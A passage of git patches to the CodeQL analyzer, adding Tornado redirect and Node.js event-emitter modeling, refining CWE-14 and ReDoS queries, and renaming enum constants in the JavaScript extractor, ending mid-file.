995fb19747d..29c91654b4a 100644 --- a/python/ql/src/semmle/python/frameworks/Tornado.qll +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -216,6 +216,17 @@ private module Tornado { /** Gets a reference to one of the methods `get_arguments`, `get_body_arguments`, `get_query_arguments`. */ DataFlow::Node argumentsMethod() { result = argumentsMethod(DataFlow::TypeTracker::end()) } + /** Gets a reference the `redirect` method. */ + private DataFlow::Node redirectMethod(DataFlow::TypeTracker t) { + t.startInAttr("redirect") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = redirectMethod(t2).track(t2, t)) + } + + /** Gets a reference the `redirect` method. */ + DataFlow::Node redirectMethod() { result = redirectMethod(DataFlow::TypeTracker::end()) } + private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { // Method access @@ -540,4 +551,31 @@ private module Tornado { not result = this.getArg(0) } } + + // --------------------------------------------------------------------------- + // Response modeling + // --------------------------------------------------------------------------- + /** + * A call to `tornado.web.RequestHandler.write` method. + * + * See https://www.tornadoweb.org/en/stable/web.html?highlight=write#tornado.web.RequestHandler.write + */ + private class TornadoRequestHandlerRedirectCall extends HTTP::Server::HttpRedirectResponse::Range, + DataFlow::CfgNode { + override CallNode node; + + TornadoRequestHandlerRedirectCall() { + node.getFunction() = tornado::web::RequestHandler::redirectMethod().asCfgNode() + } + + override DataFlow::Node getRedirectLocation() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("url")] + } + + override DataFlow::Node getBody() { none() } + + override string getMimetypeDefault() { none() } + + override DataFlow::Node getMimetypeOrContentTypeArg() { none() } + } } diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py index 6733de040b1..24b37d74a1b 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -25,7 +25,7 @@ class RedirectHandler(tornado.web.RequestHandler): req = self.request h = req.headers url = h["url"] - self.redirect(url) + self.redirect(url) # $ HttpRedirectResponse HttpResponse redirectLocation=url class BaseReverseInheritance(tornado.web.RequestHandler): From 1c100bbbc279087538c3415ca5035510adbef901 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Thu, 21 Jan 2021 14:14:00 +0100 Subject: [PATCH 0766/1241] JS: recognize event emitters in nodejs client requests --- .../javascript/frameworks/NodeJSLib.qll | 16 +++++++++++++-- .../frameworks/EventEmitter/test.expected | 20 +++++++++++++++++++ .../frameworks/EventEmitter/test.ql | 2 ++ .../frameworks/EventEmitter/tst2.js | 20 +++++++++++++++++-- .../frameworks/NodeJSLib/http.js | 2 ++ .../frameworks/NodeJSLib/tests.expected | 1 + 6 files changed, 57 insertions(+), 4 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/NodeJSLib/http.js diff --git a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll index add7809eeb2..070ef0fb181 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll @@ -826,7 +826,7 @@ module NodeJSLib { /** * A model of a URL request in the Node.js `http` library. */ - private class NodeHttpUrlRequest extends NodeJSClientRequest::Range { + private class NodeHttpUrlRequest extends NodeJSClientRequest::Range, NodeJSEventEmitter { DataFlow::Node url; NodeHttpUrlRequest() { @@ -881,8 +881,11 @@ module NodeJSLib { exists(DataFlow::MethodCallNode mcn | clientRequest.getAMethodCall(EventEmitter::on()) = mcn and mcn.getArgument(0).mayHaveStringValue(handledEvent) and - flowsTo(mcn.getArgument(1)) + this.flowsTo(mcn.getArgument(1)) ) + or + this.flowsTo(clientRequest.(DataFlow::CallNode).getLastArgument()) and + handledEvent = "connection" } /** @@ -1060,6 +1063,15 @@ module NodeJSLib { } } + private class ClientRequestEventEmitter extends NodeJSEventEmitter { + ClientRequestEventEmitter() { + exists(ClientRequestHandler handler | + not handler.getAHandledEvent() = "error" and + this = handler.getAParameter() + ) + } + } + /** * A registration of an event handler on a NodeJS EventEmitter instance. */ diff --git a/javascript/ql/test/library-tests/frameworks/EventEmitter/test.expected b/javascript/ql/test/library-tests/frameworks/EventEmitter/test.expected index 7c8466e15ec..4918d26fa9f 100644 --- a/javascript/ql/test/library-tests/frameworks/EventEmitter/test.expected +++ b/javascript/ql/test/library-tests/frameworks/EventEmitter/test.expected @@ -1,3 +1,4 @@ +taintSteps | customEmitter.js:5:20:5:24 | "bar" | customEmitter.js:6:19:6:22 | data | | customEmitter.js:12:21:12:25 | "baz" | customEmitter.js:13:23:13:26 | data | | customEmitter.js:12:21:12:25 | "baz" | customEmitter.js:22:14:22:18 | yData | @@ -15,3 +16,22 @@ | tst.js:40:20:40:27 | "yabity" | tst.js:39:19:39:19 | x | | tst.js:46:28:46:38 | 'FirstData' | tst.js:43:45:43:49 | first | | tst.js:47:29:47:40 | 'SecondData' | tst.js:44:37:44:42 | second | +eventEmitter +| customEmitter.js:3:1:8:1 | class M ... );\\n\\t}\\n} | +| customEmitter.js:17:9:17:29 | new MyS ... itter() | +| customEmitter.js:20:9:20:29 | new MyS ... itter() | +| tst2.js:6:12:6:42 | new Con ... , opts) | +| tst2.js:16:10:16:24 | new Connector() | +| tst2.js:22:12:24:2 | http.re ... {});\\n}) | +| tst2.js:22:37:22:39 | res | +| tst2.js:25:28:25:33 | socket | +| tst2.js:29:12:31:2 | http.re ... {});\\n}) | +| tst2.js:29:37:29:39 | res | +| tst2.js:32:28:32:33 | socket | +| tst.js:3:10:3:22 | new emitter() | +| tst.js:13:11:13:23 | new emitter() | +| tst.js:18:11:18:23 | new emitter() | +| tst.js:24:11:24:23 | new emitter() | +| tst.js:32:11:32:30 | new MyEventEmitter() | +| tst.js:38:11:38:38 | new Ext ... itter() | +| tst.js:42:15:42:32 | require('process') | diff --git a/javascript/ql/test/library-tests/frameworks/EventEmitter/test.ql b/javascript/ql/test/library-tests/frameworks/EventEmitter/test.ql index e8de4ff4c53..9b0f16161c4 100644 --- a/javascript/ql/test/library-tests/frameworks/EventEmitter/test.ql +++ b/javascript/ql/test/library-tests/frameworks/EventEmitter/test.ql @@ -3,3 +3,5 @@ import javascript query predicate taintSteps(DataFlow::Node pred, DataFlow::Node succ) { exists(DataFlow::AdditionalFlowStep step | step.step(pred, succ)) } + +query predicate eventEmitter(EventEmitter e) { any() } diff --git a/javascript/ql/test/library-tests/frameworks/EventEmitter/tst2.js b/javascript/ql/test/library-tests/frameworks/EventEmitter/tst2.js index 23cc0ffb5ba..617c5be480e 100644 --- a/javascript/ql/test/library-tests/frameworks/EventEmitter/tst2.js +++ b/javascript/ql/test/library-tests/frameworks/EventEmitter/tst2.js @@ -1,5 +1,5 @@ -var util = require('util'); -var EventEmitter = require('events').EventEmitter; +var util = require("util"); +var EventEmitter = require("events").EventEmitter; var Connector = function() { if (!(this instanceof Connector)) { @@ -16,3 +16,19 @@ Connector.prototype.foo = function() {}; var em = new Connector(); em.on("foo", bar => {}); em.emit("foo", "bar"); + +var http = require("http"); + +let req1 = http.request(x, function(res) { + res.on("data", function(data) {}); +}); +req1.on("socket", function(socket) { + socket.on("data", function(data) {}); +}); + +let req2 = http.request(x, function(res) { + res.on("error", function(error) {}); +}); +req2.on("socket", function(socket) { + socket.on("error", function(error) {}); +}); diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/http.js b/javascript/ql/test/library-tests/frameworks/NodeJSLib/http.js new file mode 100644 index 00000000000..af26259997d --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/http.js @@ -0,0 +1,2 @@ +var http = require("http"); +http.request(x, data => data.on("data", d => undefined)); diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/tests.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/tests.expected index 2e048dc43b8..c80b0059cb6 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/tests.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/tests.expected @@ -96,6 +96,7 @@ test_RouteSetup_getServer | src/indirect2.js:18:14:18:35 | http.cr ... er(get) | src/indirect2.js:18:14:18:35 | http.cr ... er(get) | | src/indirect.js:34:14:34:58 | http.cr ... dler()) | src/indirect.js:34:14:34:58 | http.cr ... dler()) | test_ClientRequest +| http.js:2:1:2:56 | http.re ... fined)) | | src/http.js:18:1:18:30 | http.re ... uth" }) | | src/http.js:21:15:26:6 | http.re ... \\n }) | | src/http.js:27:16:27:73 | http.re ... POST'}) | From 9c53e39394939674b49750af8ce28c2c7d680ccb Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 21 Jan 2021 16:52:00 +0300 Subject: [PATCH 0767/1241] Update CompilerRemovalOfCodeToClearBuffers.ql --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index b0c412df4cc..435d2f8f96a 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -23,7 +23,12 @@ class CompilerRemovaMemset extends FunctionCall { exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | DataFlow::localFlow(source, sink) and this.getArgument(0) = isv.getAnAccess() and - source.asExpr() = exp and + ( + source.asExpr() = exp + or + // handle the case where exp is defined by an address being passed into some function. + source.asDefiningArgument() = exp + ) and exp.getLocation().getEndLine() < this.getArgument(0).getLocation().getStartLine() and sink.asExpr() = this.getArgument(0) ) From c29014f1227740676b738b2e9820192b0d64497c Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 21 Jan 2021 13:55:21 +0000 Subject: [PATCH 0768/1241] JS: Autoformat --- .../src/semmle/javascript/frameworks/Angular2.qll | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index f44a4b90fb8..976a2e7a472 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -343,13 +343,13 @@ module Angular2 { /** Gets an HTML element that instantiates this component. */ HTML::Element getATemplateInstantiation() { result.getName() = getSelector() } - /** - * Gets an argument that flows into the `name` field of this component. - * - * For example, if the selector for this component is `"my-class"`, then this - * predicate can match an attribute like: `<my-class [foo]="1+2"/>`. - * The result of this predicate would be the `1+2` expression, and `name` would be `"foo"`. - */ + /** + * Gets an argument that flows into the `name` field of this component. + * + * For example, if the selector for this component is `"my-class"`, then this + * predicate can match an attribute like: `<my-class [foo]="1+2"/>`. + * The result of this predicate would be the `1+2` expression, and `name` would be `"foo"`. + */ DataFlow::Node getATemplateArgument(string name) { result = getAttributeValueAsNode(getATemplateInstantiation().getAttributeByName("[" + name + "]")) From cb25f2ab205172f47f14f53672dd42b4f8e75c1d Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Thu, 21 Jan 2021 20:46:34 +0100 Subject: [PATCH 0769/1241] JS: add docstring with source examples --- .../src/semmle/javascript/frameworks/NodeJSLib.qll | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll index 070ef0fb181..a472b33aa8a 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll @@ -1063,6 +1063,18 @@ module NodeJSLib { } } + /** + * An HTTP request event handler parameter as an EventEmitter, for + * example the function `emitter` in either of the following: + * + * ``` + * http.request(x, emitter => {...}) + * ``` + * + * ``` + * http.request(...).on(y, emitter => { ...}) + * ``` + */ private class ClientRequestEventEmitter extends NodeJSEventEmitter { ClientRequestEventEmitter() { exists(ClientRequestHandler handler | From 62746bbbaca2cc55450f3beafd29cf04dfe73411 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 21 Jan 2021 22:31:42 +0100 Subject: [PATCH 0770/1241] skip analyzing regular expressions in minified files for ReDoS --- .../src/semmle/javascript/security/performance/ReDoSUtil.qll | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index 425cee3ff6f..ddac5984e16 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -112,7 +112,9 @@ class RegExpRoot extends RegExpTerm { // there are no lookbehinds not exists(RegExpLookbehind lbh | getRoot(lbh) = this) and // is actually used as a RegExp - isUsedAsRegExp() + isUsedAsRegExp() and + // is not inside a minified file. + not getRootTerm().getParent().(Expr).getTopLevel().isMinified() } } From 11f35a5193b0a024c15cc644790404ab13dcfbea Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 21 Jan 2021 23:11:50 +0100 Subject: [PATCH 0771/1241] Update javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll Co-authored-by: Esben Sparre Andreasen <esbena@github.com> --- .../ql/src/semmle/javascript/security/performance/ReDoSUtil.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll index ddac5984e16..ae2917920d7 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/ReDoSUtil.qll @@ -113,7 +113,7 @@ class RegExpRoot extends RegExpTerm { not exists(RegExpLookbehind lbh | getRoot(lbh) = this) and // is actually used as a RegExp isUsedAsRegExp() and - // is not inside a minified file. + // pragmatic performance optimization: ignore minified files. not getRootTerm().getParent().(Expr).getTopLevel().isMinified() } } From c257f6617f92a6d59ffc771669e974878f808cb5 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 22 Jan 2021 09:33:25 +0000 Subject: [PATCH 0772/1241] JS: Capitalize enum members in ScopeKind and TopLevelKind --- .../com/semmle/js/extractor/ASTExtractor.java | 2 +- .../semmle/js/extractor/HTMLExtractor.java | 8 ++-- .../com/semmle/js/extractor/ScopeKind.java | 34 ++++++------- .../com/semmle/js/extractor/ScopeManager.java | 48 +++++++++---------- .../semmle/js/extractor/ScriptExtractor.java | 2 +- .../com/semmle/js/extractor/TopLevelKind.java | 10 ++-- .../js/extractor/TypeScriptExtractor.java | 2 +- 7 files changed, 53 insertions(+), 53 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 75b26223a2a..4df5d1afb82 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -704,7 +704,7 @@ public class ASTExtractor { + locationManager.getStartLine() + "," + locationManager.getStartColumn()); - Scope moduleScope = scopeManager.enterScope(ScopeKind.module, moduleScopeKey, toplevelLabel); + Scope moduleScope = scopeManager.enterScope(ScopeKind.MODULE, moduleScopeKey, toplevelLabel); if (sourceType.hasNoGlobalScope()) { scopeManager.setImplicitVariableScope(moduleScope); } diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index ce2a28969ea..f18d3a8b337 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -74,7 +74,7 @@ public class HTMLExtractor implements IExtractor { source = source.replace("<![CDATA[", " ").replace("]]>", " "); if (!source.trim().isEmpty()) { extractSnippet( - TopLevelKind.inlineScript, + TopLevelKind.INLINE_SCRIPT, config.withSourceType(sourceType), scopeManager, textualExtractor, @@ -97,7 +97,7 @@ public class HTMLExtractor implements IExtractor { int valueStart = attr.getValueSegment().getBegin(); if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { extractSnippet( - TopLevelKind.eventHandler, + TopLevelKind.EVENT_HANDLER, config, scopeManager, textualExtractor, @@ -118,7 +118,7 @@ public class HTMLExtractor implements IExtractor { } } extractSnippet( - TopLevelKind.angularTemplate, + TopLevelKind.ANGULAR_TEMPLATE, config.withSourceType(SourceType.ANGULAR_TEMPLATE), scopeManager, textualExtractor, @@ -130,7 +130,7 @@ public class HTMLExtractor implements IExtractor { } else if (source.startsWith("javascript:")) { source = source.substring(11); extractSnippet( - TopLevelKind.javascriptUrl, + TopLevelKind.JAVASCRIPT_URL, config, scopeManager, textualExtractor, diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java index c20a5bcc265..4ac78c16ea0 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeKind.java @@ -4,23 +4,23 @@ package com.semmle.js.extractor; * A kind of scope, corresponding to the <code>@scope</code> type in the dbscheme. */ public enum ScopeKind { - global(0), - function(1), - catch_(2), - module(3), - block(4), - for_(5), - forIn(6), - comprehensionBlock(7), - classExpr(8), - namespace(9), - classDecl(10), - interface_(11), - typeAlias(12), - mappedType(13), - enum_(14), - externalModule(15), - conditionalType(16); + GLOBAL(0), + FUNCTION(1), + CATCH(2), + MODULE(3), + BLOCK(4), + FOR(5), + FOR_IN(6), + COMPREHENSION_BLOCK(7), + CLASS_EXPR(8), + NAMESPACE(9), + CLASS_DECL(10), + INTERFACE(11), + TYPE_ALIAS(12), + MAPPED_TYPE(13), + ENUM(14), + EXTERNAL_MODULE(15), + CONDITIONAL_TYPE(16); private int value; diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java index eada6aa1d35..14e88a92c9d 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java @@ -106,7 +106,7 @@ public class ScopeManager { public ScopeManager(TrapWriter trapWriter, ECMAVersion ecmaVersion) { this.trapWriter = trapWriter; - this.toplevelScope = enterScope(ScopeKind.global, trapWriter.globalID("global_scope"), null); + this.toplevelScope = enterScope(ScopeKind.GLOBAL, trapWriter.globalID("global_scope"), null); this.ecmaVersion = ecmaVersion; this.implicitVariableScope = toplevelScope; } @@ -176,29 +176,29 @@ public class ScopeManager { private static final Map<String, ScopeKind> scopeKinds = new LinkedHashMap<String, ScopeKind>(); static { - scopeKinds.put("Program", ScopeKind.global); - scopeKinds.put("FunctionDeclaration", ScopeKind.function); - scopeKinds.put("FunctionExpression", ScopeKind.function); - scopeKinds.put("ArrowFunctionExpression", ScopeKind.function); - scopeKinds.put("CatchClause", ScopeKind.catch_); - scopeKinds.put("Module", ScopeKind.module); - scopeKinds.put("BlockStatement", ScopeKind.block); - scopeKinds.put("SwitchStatement", ScopeKind.block); - scopeKinds.put("ForStatement", ScopeKind.for_); - scopeKinds.put("ForInStatement", ScopeKind.forIn); - scopeKinds.put("ForOfStatement", ScopeKind.forIn); - scopeKinds.put("ComprehensionBlock", ScopeKind.comprehensionBlock); - scopeKinds.put("LetStatement", ScopeKind.block); - scopeKinds.put("LetExpression", ScopeKind.block); - scopeKinds.put("ClassExpression", ScopeKind.classExpr); - scopeKinds.put("NamespaceDeclaration", ScopeKind.namespace); - scopeKinds.put("ClassDeclaration", ScopeKind.classDecl); - scopeKinds.put("InterfaceDeclaration", ScopeKind.interface_); - scopeKinds.put("TypeAliasDeclaration", ScopeKind.typeAlias); - scopeKinds.put("MappedTypeExpr", ScopeKind.mappedType); - scopeKinds.put("EnumDeclaration", ScopeKind.enum_); - scopeKinds.put("ExternalModuleDeclaration", ScopeKind.externalModule); - scopeKinds.put("ConditionalTypeExpr", ScopeKind.conditionalType); + scopeKinds.put("Program", ScopeKind.GLOBAL); + scopeKinds.put("FunctionDeclaration", ScopeKind.FUNCTION); + scopeKinds.put("FunctionExpression", ScopeKind.FUNCTION); + scopeKinds.put("ArrowFunctionExpression", ScopeKind.FUNCTION); + scopeKinds.put("CatchClause", ScopeKind.CATCH); + scopeKinds.put("Module", ScopeKind.MODULE); + scopeKinds.put("BlockStatement", ScopeKind.BLOCK); + scopeKinds.put("SwitchStatement", ScopeKind.BLOCK); + scopeKinds.put("ForStatement", ScopeKind.FOR); + scopeKinds.put("ForInStatement", ScopeKind.FOR_IN); + scopeKinds.put("ForOfStatement", ScopeKind.FOR_IN); + scopeKinds.put("ComprehensionBlock", ScopeKind.COMPREHENSION_BLOCK); + scopeKinds.put("LetStatement", ScopeKind.BLOCK); + scopeKinds.put("LetExpression", ScopeKind.BLOCK); + scopeKinds.put("ClassExpression", ScopeKind.CLASS_EXPR); + scopeKinds.put("NamespaceDeclaration", ScopeKind.NAMESPACE); + scopeKinds.put("ClassDeclaration", ScopeKind.CLASS_DECL); + scopeKinds.put("InterfaceDeclaration", ScopeKind.INTERFACE); + scopeKinds.put("TypeAliasDeclaration", ScopeKind.TYPE_ALIAS); + scopeKinds.put("MappedTypeExpr", ScopeKind.MAPPED_TYPE); + scopeKinds.put("EnumDeclaration", ScopeKind.ENUM); + scopeKinds.put("ExternalModuleDeclaration", ScopeKind.EXTERNAL_MODULE); + scopeKinds.put("ConditionalTypeExpr", ScopeKind.CONDITIONAL_TYPE); } /** diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java index 637e461fdee..344c144648e 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java @@ -82,7 +82,7 @@ public class ScriptExtractor implements IExtractor { LoCInfo loc; try { Pair<Label, LoCInfo> res = - new JSExtractor(config).extract(textualExtractor, source, TopLevelKind.script, scopeManager); + new JSExtractor(config).extract(textualExtractor, source, TopLevelKind.SCRIPT, scopeManager); toplevelLabel = res.fst(); loc = res.snd(); } catch (ParseError e) { diff --git a/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java b/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java index 2755329621b..97a7d3647f9 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java +++ b/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java @@ -4,11 +4,11 @@ package com.semmle.js.extractor; * A kind of top-level, corresponding to the <code>@toplevel</code> type in the dbscheme. */ public enum TopLevelKind { - script(0), - inlineScript(1), - eventHandler(2), - javascriptUrl(3), - angularTemplate(4); + SCRIPT(0), + INLINE_SCRIPT(1), + EVENT_HANDLER(2), + JAVASCRIPT_URL(3), + ANGULAR_TEMPLATE(4); private int value; diff --git a/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java index c1940344862..219dc46a9bc 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java @@ -27,7 +27,7 @@ public class TypeScriptExtractor implements IExtractor { try { FileSnippet snippet = state.getSnippets().get(sourceFile.toPath()); SourceType sourceType = snippet != null ? snippet.getSourceType() : jsExtractor.establishSourceType(source, false); - TopLevelKind toplevelKind = snippet != null ? snippet.getTopLevelKind() : TopLevelKind.script; + TopLevelKind toplevelKind = snippet != null ? snippet.getTopLevelKind() : TopLevelKind.SCRIPT; return jsExtractor.extract(textualExtractor, source, toplevelKind, scopeManager, sourceType, res).snd(); } catch (ParseError e) { e.setPosition(locationManager.translatePosition(e.getPosition())); From 0ffa720d3b1e51279266928e2f234b0ab258384f Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 22 Jan 2021 09:48:11 +0000 Subject: [PATCH 0773/1241] JS: Capitalize other enum constants --- .../com/semmle/js/extractor/ASTExtractor.java | 320 +++++++++--------- .../com/semmle/js/extractor/ExprKinds.java | 22 +- .../semmle/js/extractor/TypeExprKinds.java | 24 +- .../src/com/semmle/ts/ast/UnaryTypeExpr.java | 4 +- .../ts/extractor/TypeScriptASTConverter.java | 4 +- 5 files changed, 187 insertions(+), 187 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 4df5d1afb82..e8ff2abb5b6 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -225,31 +225,31 @@ public class ASTExtractor { */ public enum IdContext { /** An identifier that binds to a variable. */ - varBind, + VAR_BIND, /** An identifier that declares a variable. */ - varDecl, + VAR_DECL, /** An identifier that declares both a variable and a type. */ - varAndTypeDecl, + VAR_AND_TYPE_DECL, /** * An identifier that is not associated with variables or types, such as a property name and * statement label. */ - label, + LABEL, /** An identifier that binds to a type (and not a variable). */ - typeBind, + TYPE_BIND, /** An identifier that declares a type (and not a variable). */ - typeDecl, + TYPE_DECL, /** * An identifier that is part of a type, but should not bind to a type name. Unlike {@link * #label}, this will not result in an expression. */ - typeLabel, + TYPE_LABEL, /** * An identifier that refers to a variable from inside a type, i.e. the operand to a @@ -257,16 +257,16 @@ public class ASTExtractor { * * <p>This is generally treated as a type, except a variable binding will be emitted for it. */ - varInTypeBind, + VAR_IN_TYPE_BIND, /** An identifier that refers to a namespace from inside a type. */ - namespaceBind, + NAMESPACE_BIND, /** An identifier that declares a namespace. */ - namespaceDecl, + NAMESPACE_DECL, /** An identifier that declares a variable and a namespace. */ - varAndNamespaceDecl, + VAR_AND_NAMESPACE_DECL, /** * An identifier that occurs in a type-only import. @@ -274,7 +274,7 @@ public class ASTExtractor { * These may declare a type and/or a namespace, but for compatibility with our AST, * must be emitted as a VarDecl (with no variable binding). */ - typeOnlyImport, + TYPE_ONLY_IMPORT, /** * An identifier that occurs in a type-only export. @@ -282,10 +282,10 @@ public class ASTExtractor { * These may refer to a type and/or a namespace, but for compatibility with our AST, * must be emitted as an ExportVarAccess (with no variable binding). */ - typeOnlyExport, + TYPE_ONLY_EXPORT, /** An identifier that declares a variable, type, and namepsace. */ - varAndTypeAndNamespaceDecl, + VAR_AND_TYPE_AND_NAMESPACE_DECL, /** * An identifier that occurs as part of a named export, such as <tt>export { A }</tt>. @@ -297,30 +297,30 @@ public class ASTExtractor { * explicitly declared, since TypeScript only emits the export code when it refers to a declared * variable. */ - export, + EXPORT, /** * An identifier that occurs as a qualified name in a default export expression, such as * <tt>A</tt> in <tt>export default A.B</tt>. * - * <p>This acts like {@link #export}, except it cannot refer to a type (i.e. it must be a + * <p>This acts like {@link #EXPORT}, except it cannot refer to a type (i.e. it must be a * variable and/or a namespace). */ - exportBase; + EXPORT_BASE; /** - * True if this occurs as part of a type annotation, i.e. it is {@link #typeBind} or {@link - * #typeDecl}, {@link #typeLabel}, {@link #varInTypeBind}, or {@link #namespaceBind}. + * True if this occurs as part of a type annotation, i.e. it is {@link #TYPE_BIND} or {@link + * #TYPE_DECL}, {@link #TYPE_LABEL}, {@link #VAR_IN_TYPE_BIND}, or {@link #NAMESPACE_BIND}. * - * <p>Does not hold for {@link #varAndTypeDecl}, {@link #typeOnlyImport}, or @{link {@link #typeOnlyExport} + * <p>Does not hold for {@link #VAR_AND_TYPE_DECL}, {@link #TYPE_ONLY_IMPORT}, or @{link {@link #TYPE_ONLY_EXPORT} * as these do not occur in type annotations. */ public boolean isInsideType() { - return this == typeBind - || this == typeDecl - || this == typeLabel - || this == varInTypeBind - || this == namespaceBind; + return this == TYPE_BIND + || this == TYPE_DECL + || this == TYPE_LABEL + || this == VAR_IN_TYPE_BIND + || this == NAMESPACE_BIND; } }; @@ -354,11 +354,11 @@ public class ASTExtractor { } private Label visit(INode child, Label parent, int childIndex) { - return visit(child, parent, childIndex, IdContext.varBind); + return visit(child, parent, childIndex, IdContext.VAR_BIND); } private Label visitAll(List<? extends INode> children, Label parent) { - return visitAll(children, parent, IdContext.varBind, 0); + return visitAll(children, parent, IdContext.VAR_BIND, 0); } private Label visit(INode child, Label parent, int childIndex, IdContext idContext) { @@ -441,7 +441,7 @@ public class ASTExtractor { public Label visit(InvokeExpression nd, Context c) { Label key = super.visit(nd, c); visit(nd.getCallee(), key, -1); - visitAll(nd.getTypeArguments(), key, IdContext.typeBind, -2, -1); + visitAll(nd.getTypeArguments(), key, IdContext.TYPE_BIND, -2, -1); visitAll(nd.getArguments(), key); if (nd.getResolvedSignatureId() != -1) { Label signature = trapwriter.globalID("signature;" + nd.getResolvedSignatureId()); @@ -496,51 +496,51 @@ public class ASTExtractor { emitNodeSymbol(nd, key); trapwriter.addTuple("literals", name, 